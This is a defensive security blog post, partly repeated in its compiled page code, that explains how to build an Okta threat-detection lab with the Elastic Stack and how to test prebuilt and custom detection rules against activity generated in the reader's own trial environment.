integration](https://help.okta.com/en-us/content/topics/directory/ad-agent-main.htm) in Okta to sync AD with Okta for Identity and Access Management (IAM). This step is not necessary for the rest of the lab, however, it can help extend our lab for other exercises and scenarios where endpoint and Okta data are both necessary for hunting.\n\n## Sign up for Okta Workforce Identity\n\nWe will set up a fresh Okta environment for this walkthrough by signing up for a Workforce Identity Cloud trial. If you already have an Okta setup in your environment, then feel free to skip to the `Setting Up the Elastic Stack` section.\n\nOnce signed up for the trial, you are typically presented with a URL containing a trial license subdomain and the email to log into the Okta admin console.\n\nTo start, users must pivot over to the email they provided when signing up and follow the instructions of the activation email by Okta, which contains a QR code to scan. \n\nThe QR code is linked to the Okta Verify application that is available on mobile devices, iOS and Android. A prompt on the mobile device for multi-factor authentication (MFA) using a phone number and face recognition is requested. \n\n\n\n_Image 1: Setting up Okta Verify through a mobile device_\n\nOnce set up, we are redirected to the Okta admin console to configure MFA using Okta Verify.\n\n\n\n_Image 2: The Okta Admin console_\n\nAt this point, you should have a trial license for Okta, have setup MFA, and have access to the Okta admin console.\n\n## Setting up your free cloud stack\n\nFor this lab, we will use a [free trial](https://cloud.elastic.co/registration) of an Elastic Cloud instance. You also have the option to create the stack in [Amazon Web Services](https://www.elastic.co/partners/aws?utm_campaign=Comp-Stack-Trials-AWSElasticsearch-AMER-NA-Exact\u0026utm_content=Elasticsearch-AWS\u0026utm_source=adwords-s\u0026utm_medium=paid\u0026device=c\u0026utm_term=amazon%20elk\u0026gclid=Cj0KCQiA1ZGcBhCoARIsAGQ0kkqI9gFWLvEX--Fq9eE8WMb43C9DsMg_lRI5ov_3DL4vg3Q4ViUKg-saAsgxEALw_wcB) (AWS), [GCP](https://www.elastic.co/guide/en/cloud/current/ec-billing-gcp.html), or Microsoft Azure if you’d like to set up your stack in an existing cloud service provider (CSP). Ensure you [enable MFA for your Elastic Cloud environment](https://www.elastic.co/guide/en/cloud/current/ec-account-user-settings.html#ec-account-security-mfa).\n\nOnce registered for the free trial, we can focus on configuring the Elastic Stack deployment. For this lab, we will call our deployment okta-threat-detection and deploy it in GCP. It is fine to leave the default settings for your deployment, and we recommend the latest version for all the latest features. For the purposes of this demo, we use the following:\n\n - Name: okta-threat-detection\n - Cloud provider: Google Cloud\n - Region: Iowa (us-central1)\n - Hardware profile: Storage optimized\n - Version: 8.12.0 (latest)\n\nThe option to adjust additional settings for Elasticsearch, Kibana, Integrations, and more is configurable during this step. However, default settings are fine for this lab exercise. If you choose to leverage the Elastic Stack for a more permanent, long-term strategy, we recommend planning and designing architecturally according to your needs.\n\nOnce set, select “Create deployment” and the Elastic Stack will automatically be deployed in GCP (or whatever cloud provider you selected). You can download the displayed credentials as a CSV file or save them wherever you see fit. The deployment takes approximately 5 minutes to complete and once finished, you can select “Continue” to log in. Congratulations, you have successfully deployed the Elastic Stack within minutes!\n\n\n\n_Image 3: Your newly deployed Elastic stack_\n\n## Setup Fleet from the Security Solution\n\nAs a reminder, [Fleet](https://www.elastic.co/guide/en/fleet/current/fleet-overview.html) enables the creation and management of an agent policy, which will incorporate the [Okta integration](https://docs.elastic.co/en/integrations/okta) on an Elastic Agent. This integration is used to access and ingest Okta logs into our stack.\n\n### Create an Okta policy\n\nFor our Elastic Agent to know which integration it is using, what data to gather, and where to stream that data within our stack, we must first set up a custom Fleet policy we’re naming Okta.\n\nTo set up a fleet policy within your Elastic Stack, do the following in your Elastic Stack:\n\n 1. Navigation menu \u003e Management \u003e Fleet \u003e Agent Policies \u003e Create agent policy\n 2. Enter “Okta” as a name \u003e Create Agent Policy\n\n\n\n_Image 4: Fleet agent policies page in Elastic Stack_\n\n## Setup the Okta integration\n\nOnce our policy is established, we need to install the Okta integration for the Elastic Stack we just deployed.\n\nBy selecting the “Okta” name in the agent policies that was just created, we need to add the Okta integration by selecting “Add integration” as shown below.\n\n\n\n_Image 5: The Okta integration within the agent policies_\n\nTyping “Okta” into the search bar will show the Okta integration that needs to be added. Select this integration and the following prompt should appear.\n\n\n\n_Image 6: The Okta Integration page_\n\nBy selecting “Add Okta” we can now begin to set up the integration with a simple step-by-step process, complimentary to adding our first integration in the Elastic Stack.\n\n\n\n_Image 7: Adding integrations into the Elastic Stack_\n\n## Install the Elastic Agent on an endpoint\n\nAs previously mentioned, we have to install at least one agent on an endpoint to access data in Okta, associated with the configured Okta policy. We recommend a lightweight Linux host, either as a VM locally or in a CSP such as GCP, to keep everything in the same environment. For this publication, I will use a VM instance of [Ubuntu 20.04 LTS](https://releases.ubuntu.com/focal/) VM in Google’s Compute Engine (GCE). Your endpoint can be lightweight, such as GCP N1 or E2 series, as its sole purpose is to run the Elastic Agent.\n\nSelect the “Install Elastic Agent” button and select which host the agent will be installed on. For this example, we will be using a Linux host. Once selected, a “Copy” option is available to copy and paste the commands into your Linux console, followed by execution.\n\n\n\n_Image 8: Install Elastic Agent_\n\n## Create an Okta token\nAt this point, we need an API key and an Okta system logs API URL for the integration setup. Thus, we must pivot to the Okta admin console to create the API token.\n\n\n\n_Image 9: Access the Okta Admin console_\n\nFrom the Okta admin console, select the following:\n\n 1. Security \u003e API \u003e Tokens\n 2. Select the “Create token” button\n\nIn this instance, we name the API token “elastic”. Since my administrator account creates the token, it inherits the permissions and privileges of my account. In general, we recommend creating a separate user and scoping permissions properly with principle-of-least-privilege (PoLP) for best security practices. I recommend copying the provided API token key to the clipboard, as it is necessary for the Okta integration setup.\n\n\n\n_Image 10: Copy your API token_\n\nWe also need to capture the Okta API Logs URL, which is our HTTPS URL with the URI ```/api/v1/logs``` or system logs API endpoint.\n\nFor example: ```https://{okta-subdomain}.okta.com/api/v1/logs```\n\nThe Elastic Agent, using the Okta integration, will send requests to this API URL with our API token included in the authorization header of the requests as a Single Sign-On for Web Systems (SSWS) token. With this information, we are ready to finalize our Okta integration setup in the Elastic Stack.\n\n## Add Okta integration requirements\n\nPivoting back to the Okta integration setup in the Elastic Stack, it requires us to add the API token and the Okta System logs API URL as shown below. Aside from this, we change the “Initial Interval” from 24 hours to 2 minutes. This will help check for Okta logs immediately after we finish our setup.\n\n\n\n_Image 11: Configure log collection_\n\nOnce this information is submitted to the Okta integration setup, we can select the “Confirm incoming data” button to verify that logs are properly being ingested from the Elastic Agent.\n\n\n\n_Image 12: Preview data from Okta_\n\nWhile we have confirmed that data is in fact being ingested from the Elastic Agent, we must also confirm that we have Okta-specific logs being ingested. I would suggest that you take a moment to pivot back to Okta and change some settings in the admin console. This will then generate Okta system logs that will eventually be extracted by our Elastic Agent and ingested into our Elastic Stack. Once completed, we can leverage the Discover feature within Kibana to search for the Okta system logs that should have been generated.\n\nThe following query can help us accomplish this - ```event.dataset:okta*```\n\n\n\n_Image 13: Use Discover to explore your Okta data_\n\nIf you have managed to find Okta logs from this, then congratulations rockstar, you have successfully completed these steps:\n\n 1. Signed up for Okta Workforce Identity with a trial license\n 2. Deployed a trial Elastic stack via cloud.elastic.co\n 3. Deployed an agent to your host of choice\n 4. Created an Okta policy\n 5. Setup the Okta integration\n 6. Created an Okta API token\n 7. Confirmed incoming data from our Elastic agent\n\n## Enable Okta detection rules\n\nElastic has 1000+ pre-built detection rules not only for Windows, Linux, and macOS endpoints, but also for several integrations, including Okta. You can view our current existing Okta [rules](https://github.com/elastic/detection-rules/tree/main/rules/integrations/okta) and corresponding MITRE ATT\u0026CK [coverage](https://mitre-attack.github.io/attack-navigator/#layerURL=https%3A%2F%2Fgist.githubusercontent.com%2Fbrokensound77%2F1a3f65224822a30a8228a8ed20289a89%2Fraw%2FElastic-detection-rules-indexes-logs-oktaWILDCARD.json\u0026leave_site_dialog=false\u0026tabs=false).\n\nTo enable Okta rules, complete the following in the Elastic Stack:\n\n 1. Navigation menu \u003e Security \u003e Manage \u003e Rules\n 2. Select “Load Elastic prebuilt rules and timeline templates”\n 3. Once all rules are loaded:\n a. Select “Tags” dropdown\n b. Search “Okta”\n c. Select all rules \u003e Build actions dropdown \u003e Enable\n\n\n\n_Image 14: Searching for Out-of-the-Box (OOB) Okta Detection Rules_\n\nWhile we won’t go in-depth about exploring all rule information, we recommend [doing so](https://www.elastic.co/guide/en/security/current/detection-engine-overview.html). Elastic has additional information, such as related integrations, investigation guides, and much more! Also, you can add to our community by [creating your own](https://www.elastic.co/guide/en/security/current/rules-ui-create.html) detection rule with the “Create new rule” button and [contribute](https://github.com/elastic/detection-rules#how-to-contribute) it to our detection rules repository.\n\n## Let’s trigger a pre-built rule\n\nAfter all Okta rules have been enabled, we can now move on to testing alerts for these rules with some simple emulation.\n\nFor this example, let’s use the [Attempt to Reset MFA Factors for an Okta User Account](https://github.com/elastic/detection-rules/blob/main/rules/integrations/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml) detection rule that comes fresh out-of-the-box (OOB) with prebuilt detection rules.\n\n\n\n_Image 15: Enabling an OOB Okta detection rule to test alerting_\n\nTo trigger, we simply log into our Okta admin console and select a user of choice from Directory \u003e People and then More Actions \u003e Reset Multifactor \u003e Reset All.\n\n\n\n_Image 16: Resetting MFA for a user in Okta_\n\nOnce complete, logs will be ingested shortly into the Elastic Stack, and the Detection Engine will run the rule’s query against datastreams whose patterns match ```logs-okta*```. If all goes as expected, an alert should be available via the Security \u003e Alerts page in the Elastic stack.\n\n\n\n_Image 17: Alert page flyout for triggered OOB Okta detection rule_\n\n## Let’s trigger a custom rule\n\nIt is expected that not all OOTB Okta rules may be right for your environment or detection lab. As a result, you may want to create custom detection rules for data from the Okta integration. Allow me to demonstrate how you would do this.\n\nLet’s assume we have a use case where we want to identify when a unique user ID (Okta Actor ID) has an established session from two separate devices, indicating a potential web session hijack.\n\nFor this, we will rely on Elastic’s piped query language, [ES|QL](https://www.elastic.co/blog/getting-started-elasticsearch-query-language). We can start by navigating to Security \u003e Detection Rules (SIEM) \u003e Create new rules. We can then select ES|QL as the rule type.\n\n\n\n_Image 18: Create new rule Kibana page in Elastic security solution_\n\nTo re-create Okta system logs for this event, we would log in to Okta with the same account from multiple devices relatively quickly. For replication, I have done so via macOS and Windows endpoints, as well as my mobile phone, for variety.\n\nThe following custom ES|QL query would identify this activity, which we can confirm via Discover in the Elastic Stack before adding it to our new rule.\n\n\n\n_Image 19: Testing ES|QL query in Elastic Discover prior to rule implementation_\n\nNow that we have adjusted and tested our query and are happy with the results, we can set it as the query for our new rule.\n\n\n\n_Image 20: Creating new custom detection rule with ES|QL query logic_\n\n\n\n_Image 21: Enabled custom detection rule with ES|QL query for Okta threat_\n\nNow that our rule has been created, tested, and enabled, let’s attempt to fire an alert by replicating this activity. For this, we simply log into our Okta admin console from the same device with multiple user accounts.\n\nAs we can see, we now have an alert for this custom rule!\n\n\n\n_Image 22: Triggered alert for events matching custom detection rule_\n\n## Bonus: synchronize Active Directory (AD)\n\nAs discussed in our [previous Okta installation](https://www.elastic.co/security-labs/starter-guide-to-understanding-okta), a core service offering in Okta is to synchronize with third-party IAM directory services such as AD, Google Workspace, and others. Doing so in your lab can enable further threat detection capabilities as cross-correlation between Windows logs and Okta for users would be possible. For this article, we will step through synchronizing with AD on a local Windows Server. Note - We recommend deploying a Windows Elastic Agent to your Windows Server and setting up the [Windows](https://docs.elastic.co/en/integrations/windows) and [Elastic Defend](https://www.elastic.co/guide/en/security/current/install-endpoint.html) integrations for additional log ingestion.\n\n 1. [Setup](https://www.linkedin.com/pulse/how-install-active-directory-domain-services-windows-server-2019-/) your Windows Server (we are using WinServer 2019)\n 2. Deploy the Okta AD agent from your Okta admin console\n a. Directory \u003e Directory Integrations\n b. Add Directory \u003e Add Active Directory\n 3. Walk through guided steps to install Okta AD agent on Windows Server\n a. Execution of the Okta Agent executable will require a setup on the Windows Server side as well\n 4. Confirm Okta AD agent was successfully deployed\n 5. Synchronize AD with Okta\n a. Directory \u003e Directory Integrations\n b. Select new AD integration\n c. elect “Import Now”\nChoose incremental or full import\n 6. Select which users and groups to import and import them\n\n\n\n_Image 23: Successful Okta agent deployment and synchronization with AD_\n\nOnce finished, under Directory in the Okta admin console, you should see people and groups that have been successfully imported. From here, you can emulate attack scenarios such as stolen login credentials locally (Windows host) being used to reset MFA in Okta.\n\n## Additional considerations\n\nWhile this is a basic setup of not only the Elastic Stack, Okta integration, and more for a threat research lab, there are additional considerations for our setup that are dependent on our research goals. While we won't dive into specifics nor exhaust possible scenarios, below is a list of considerations for your lab to accurately emulate an enterprise environment and/or adversary playbooks:\n\n - Is Okta my IdP source of truth? If not, set up a third party such as Azure AD (AAD) or Google Workspace and synchronize directory services.\n - Will I simulate adversary behavior - for example, SAMLjacking? If so, what third-party integrations do I need that leverage SAML for authentication?\n - Do I want to research tenant poisoning? If so, should I set up a multi-tenant architecture with Okta?\n - Do I need separate software, such as VPNs or proxies, to emulate attribution evasion when attempting to bypass MFA?\n - What other tools, such as EvilGinx, let me attempt phishing playbooks, and what is the required set up in Okta for these exercises?\n - How should I capture authorization codes during OAuth workflows, and how can I replay an exchange request for an access token?\n - For password spraying or credential stuffing, which third-party applications should I integrate, and how many should suffice for accurate detection logic?\n - How might I explore lax access policies for user profiles?\n\n## Takeaways\n\nIn this guide, we've successfully navigated the setup of an Okta threat detection lab using the Elastic Stack, highlighting the importance of safeguarding SaaS platforms like Okta. Our journey included deploying the Elastic Stack, integrating and testing Okta system logs, and implementing both pre-built and custom detection rules.\n\nThe key takeaway is the Elastic Stack's versatility in threat detection, accommodating various scenarios, and enhancing cybersecurity capabilities. This walkthrough demonstrates that effective threat management in Okta environments is both achievable and essential.\n\nAs we wrap up, remember that the true value of this exercise lies in its practical application. By establishing your own detection lab, you're not only reinforcing your security posture but also contributing to the broader cybersecurity community. Stay tuned for additional threat research content surrounding SaaS and Okta, where we'll explore common adversary attacks against Okta environments and detection strategies.\n\n","code":"var Component=(()=\u003e{var d=Object.create;var o=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var w=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),y=(i,e)=\u003e{for(var n in e)o(i,n,{get:e[n],enumerable:!0})},s=(i,e,n,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!m.call(i,a)\u0026\u0026a!==n\u0026\u0026o(i,a,{get:()=\u003ee[a],enumerable:!(r=u(e,a))||r.enumerable});return i};var f=(i,e,n)=\u003e(n=i!=null?d(p(i)):{},s(e||!i||!i.__esModule?o(n,\"default\",{value:i,enumerable:!0}):n,i)),k=i=\u003es(o({},\"__esModule\",{value:!0}),i);var c=w((I,l)=\u003e{l.exports=_jsx_runtime});var A={};y(A,{default:()=\u003ev,frontmatter:()=\u003eb});var t=f(c()),b={title:\"Monitoring Okta threats with Elastic Security\",subtitle:\"Setup a detection engineering lab for Okta\",slug:\"monitoring-okta-threats-with-elastic-security\",date:\"2024-02-23\",description:\"This article guides readers through establishing an Okta threat detection lab, emphasizing the importance of securing SaaS platforms like Okta. It details creating a lab environment with the Elastic Stack, integrating SIEM solutions, and Okta.\",author:[{slug:\"terrance-dejesus\"}],image:\"photo-edited-03.png\",category:[{slug:\"security-research\"}]};function h(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",code:\"code\",img:\"img\",em:\"em\",ul:\"ul\",li:\"li\",h3:\"h3\",ol:\"ol\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Welcome to another installment of Okta threat research with Elastic. \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/starter-guide-to-understanding-okta\",rel:\"nofollow\",children:\"Previously\"}),\", we have published articles exploring Okta\\u2019s core services and offerings. This article is dedicated to the practical side of cyber defense - setting up a robust Okta threat detection lab. Our journey will navigate through the intricacies of configuring a lab environment using the Elastic Stack, integrating SIEM solutions, and seamlessly connecting with Okta.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The goal of this article is not just to inform but to empower. Whether you're a seasoned cybersecurity professional or a curious enthusiast, our walkthrough aims to equip you with the knowledge and tools to understand and implement advanced threat detection mechanisms for Okta environments. We believe that hands-on experience is the cornerstone of effective cybersecurity practice, and this guide is crafted to provide you with a practical roadmap to enhance your security posture.\"}),`\n`,(0,t.jsx)(e.p,{children:\"As we embark on this technical expedition, remember that the world of cybersecurity is dynamic and ever-evolving. The methods and strategies discussed here are a reflection of the current landscape and best practices. We encourage you to approach this guide with a mindset of exploration and adaptation, as the techniques and tools in cybersecurity are continually advancing.\"}),`\n`,(0,t.jsx)(e.p,{children:\"So, let's dive into our detection lab setup for Okta research.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"prerequisites\",children:\"Prerequisites\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For starters, an Okta license (a \",(0,t.jsx)(e.a,{href:\"https://www.okta.com/free-trial/\",rel:\"nofollow\",children:\"trial license\"}),\" is fine) is required for this lab setup. This will at least allow us to generate Okta system logs within our environment, which we can then ingest into our Elastic Stack.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Secondarily, after Okta is set up, we can deploy a Windows Server, set up Active Directory (AD), and use the \",(0,t.jsx)(e.a,{href:\"https://help.okta.com/en-us/content/topics/directory/ad-agent-main.htm\",rel:\"nofollow\",children:\"AD integration\"}),\" in Okta to sync AD with Okta for Identity and Access Management (IAM). This step is not necessary for the rest of the lab, however, it can help extend our lab for other exercises and scenarios where endpoint and Okta data are both necessary for hunting.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"sign-up-for-okta-workforce-identity\",children:\"Sign up for Okta Workforce Identity\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We will set up a fresh Okta environment for this walkthrough by signing up for a Workforce Identity Cloud trial. If you already have an Okta setup in your environment, then feel free to skip to the \",(0,t.jsx)(e.code,{children:\"Setting Up the Elastic Stack\"}),\" section.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Once signed up for the trial, you are typically presented with a URL containing a trial license subdomain and the email to log into the Okta admin console.\"}),`\n`,(0,t.jsx)(e.p,{children:\"To start, users must pivot over to the email they provided when signing up and follow the instructions of the activation email by Okta, which contains a QR code to scan.\"}),`\n`,(0,t.jsx)(e.p,{children:\"The QR code is linked to the Okta Verify application that is available on mobile devices, iOS and Android. A prompt on the mobile device for multi-factor authentication (MFA) using a phone number and face recognition is requested.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image23.png\",alt:\"Setting up Okta Verify through a mobile device\",width:\"808\",height:\"1444\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 1: Setting up Okta Verify through a mobile device\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once set up, we are redirected to the Okta admin console to configure MFA using Okta Verify.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image9.png\",alt:\"The Okta Admin console\",width:\"1440\",height:\"833\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 2: The Okta Admin console\"})}),`\n`,(0,t.jsx)(e.p,{children:\"At this point, you should have a trial license for Okta, have setup MFA, and have access to the Okta admin console.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"setting-up-your-free-cloud-stack\",children:\"Setting up your free cloud stack\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For this lab, we will use a \",(0,t.jsx)(e.a,{href:\"https://cloud.elastic.co/registration\",rel:\"nofollow\",children:\"free trial\"}),\" of an Elastic Cloud instance. You also have the option to create the stack in \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/partners/aws?utm_campaign=Comp-Stack-Trials-AWSElasticsearch-AMER-NA-Exact\u0026utm_content=Elasticsearch-AWS\u0026utm_source=adwords-s\u0026utm_medium=paid\u0026device=c\u0026utm_term=amazon%20elk\u0026gclid=Cj0KCQiA1ZGcBhCoARIsAGQ0kkqI9gFWLvEX--Fq9eE8WMb43C9DsMg_lRI5ov_3DL4vg3Q4ViUKg-saAsgxEALw_wcB\",rel:\"nofollow\",children:\"Amazon Web Services\"}),\" (AWS), \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/cloud/current/ec-billing-gcp.html\",rel:\"nofollow\",children:\"GCP\"}),\", or Microsoft Azure if you\\u2019d like to set up your stack in an existing cloud service provider (CSP). Ensure you \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/cloud/current/ec-account-user-settings.html#ec-account-security-mfa\",rel:\"nofollow\",children:\"enable MFA for your Elastic Cloud environment\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Once registered for the free trial, we can focus on configuring the Elastic Stack deployment. For this lab, we will call our deployment okta-threat-detection and deploy it in GCP. It is fine to leave the default settings for your deployment, and we recommend the latest version for all the latest features. For the purposes of this demo, we use the following:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Name: okta-threat-detection\"}),`\n`,(0,t.jsx)(e.li,{children:\"Cloud provider: Google Cloud\"}),`\n`,(0,t.jsx)(e.li,{children:\"Region: Iowa (us-central1)\"}),`\n`,(0,t.jsx)(e.li,{children:\"Hardware profile: Storage optimized\"}),`\n`,(0,t.jsx)(e.li,{children:\"Version: 8.12.0 (latest)\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"The option to adjust additional settings for Elasticsearch, Kibana, Integrations, and more is configurable during this step. However, default settings are fine for this lab exercise. If you choose to leverage the Elastic Stack for a more permanent, long-term strategy, we recommend planning and designing architecturally according to your needs.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Once set, select \\u201CCreate deployment\\u201D and the Elastic Stack will automatically be deployed in GCP (or whatever cloud provider you selected). You can download the displayed credentials as a CSV file or save them wherever you see fit. The deployment takes approximately 5 minutes to complete and once finished, you can select \\u201CContinue\\u201D to log in. Congratulations, you have successfully deployed the Elastic Stack within minutes!\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image14.png\",alt:\"Your newly deployed Elastic stack\",width:\"1440\",height:\"1208\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 3: Your newly deployed Elastic stack\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"setup-fleet-from-the-security-solution\",children:\"Setup Fleet from the Security Solution\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As a reminder, \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/fleet/current/fleet-overview.html\",rel:\"nofollow\",children:\"Fleet\"}),\" enables the creation and management of an agent policy, which will incorporate the \",(0,t.jsx)(e.a,{href:\"https://docs.elastic.co/en/integrations/okta\",rel:\"nofollow\",children:\"Okta integration\"}),\" on an Elastic Agent. This integration is used to access and ingest Okta logs into our stack.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"create-an-okta-policy\",children:\"Create an Okta policy\"}),`\n`,(0,t.jsx)(e.p,{children:\"For our Elastic Agent to know which integration it is using, what data to gather, and where to stream that data within our stack, we must first set up a custom Fleet policy we\\u2019re naming Okta.\"}),`\n`,(0,t.jsx)(e.p,{children:\"To set up a fleet policy within your Elastic Stack, do the following in your Elastic Stack:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Navigation menu \u003e Management \u003e Fleet \u003e Agent Policies \u003e Create agent policy\"}),`\n`,(0,t.jsx)(e.li,{children:\"Enter \\u201COkta\\u201D as a name \u003e Create Agent Policy\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image19.png\",alt:\"Fleet agent policies page in Elastic Stack\",width:\"1440\",height:\"540\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 4: Fleet agent policies page in Elastic Stack\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"setup-the-okta-integration\",children:\"Setup the Okta integration\"}),`\n`,(0,t.jsx)(e.p,{children:\"Once our policy is established, we need to install the Okta integration for the Elastic Stack we just deployed.\"}),`\n`,(0,t.jsx)(e.p,{children:\"By selecting the \\u201COkta\\u201D name in the agent policies that was just created, we need to add the Okta integration by selecting \\u201CAdd integration\\u201D as shown below.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image17.png\",alt:\"The Okta integration within the agent policies\",width:\"1440\",height:\"436\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 5: The Okta integration within the agent policies\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Typing \\u201COkta\\u201D into the search bar will show the Okta integration that needs to be added. Select this integration and the following prompt should appear.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image22.png\",alt:\"The Okta Integration page\",width:\"1440\",height:\"918\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 6: The Okta Integration page\"})}),`\n`,(0,t.jsx)(e.p,{children:\"By selecting \\u201CAdd Okta\\u201D we can now begin to set up the integration with a simple step-by-step process, complimentary to adding our first integration in the Elastic Stack.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image7.png\",alt:\"Adding integrations into the Elastic Stack\",width:\"1440\",height:\"1488\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 7: Adding integrations into the Elastic Stack\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"install-the-elastic-agent-on-an-endpoint\",children:\"Install the Elastic Agent on an endpoint\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"As previously mentioned, we have to install at least one agent on an endpoint to access data in Okta, associated with the configured Okta policy. We recommend a lightweight Linux host, either as a VM locally or in a CSP such as GCP, to keep everything in the same environment. For this publication, I will use a VM instance of \",(0,t.jsx)(e.a,{href:\"https://releases.ubuntu.com/focal/\",rel:\"nofollow\",children:\"Ubuntu 20.04 LTS\"}),\" VM in Google\\u2019s Compute Engine (GCE). Your endpoint can be lightweight, such as GCP N1 or E2 series, as its sole purpose is to run the Elastic Agent.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Select the \\u201CInstall Elastic Agent\\u201D button and select which host the agent will be installed on. For this example, we will be using a Linux host. Once selected, a \\u201CCopy\\u201D option is available to copy and paste the commands into your Linux console, followed by execution.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image24.png\",alt:\"Install Elastic Agent\",width:\"1440\",height:\"1063\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 8: Install Elastic Agent\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"create-an-okta-token\",children:\"Create an Okta token\"}),`\n`,(0,t.jsx)(e.p,{children:\"At this point, we need an API key and an Okta system logs API URL for the integration setup. Thus, we must pivot to the Okta admin console to create the API token.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image5.png\",alt:\"Access the Okta Admin console\",width:\"1440\",height:\"952\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 9: Access the Okta Admin console\"})}),`\n`,(0,t.jsx)(e.p,{children:\"From the Okta admin console, select the following:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Security \u003e API \u003e Tokens\"}),`\n`,(0,t.jsx)(e.li,{children:\"Select the \\u201CCreate token\\u201D button\"}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"In this instance, we name the API token \\u201Celastic\\u201D. Since my administrator account creates the token, it inherits the permissions and privileges of my account. In general, we recommend creating a separate user and scoping permissions properly with principle-of-least-privilege (PoLP) for best security practices. I recommend copying the provided API token key to the clipboard, as it is necessary for the Okta integration setup.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/monitoring-okta-threats-with-elastic-security/image16.png\",alt:\"Copy your API token\",width:\"1440\",height:\"736\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.em,{children:\"Image 10: Copy your API token\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We also need to capture the Okta API Logs URL, which is our HTTPS URL with the URI \",(0,t.jsx)(e.code,{children:\"/api/v1/logs\"}),\" or system logs API endpoint.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"For example: \",(0,t.jsx)(e.code,{children:\"https://{okta-subdomain}.okta.com/api/v1/logs\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"The Elastic Agent, using the Okta integration, will send requests to this API URL with our API token included in the authorization header of the requests as a Single Sign-On for Web Systems (SSWS) token. With this information, we are ready to finalize our Okta integration setup in the Elastic Stack.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"add-okta-integration-requirements\",children:\"Add Okta integration requirements\"}),`\n`,(0,t.jsx)(e.p,{children:\"Pivoting back to the Okta integration setup in the Elastic Stack, it requires us to add the API token and the Okta System logs API URL as shown below. Aside from this, we change the \\u201CInitial Interval\\u201D from 24 hours to 2 minutes. This will help check for Okta logs immediately after we finish our 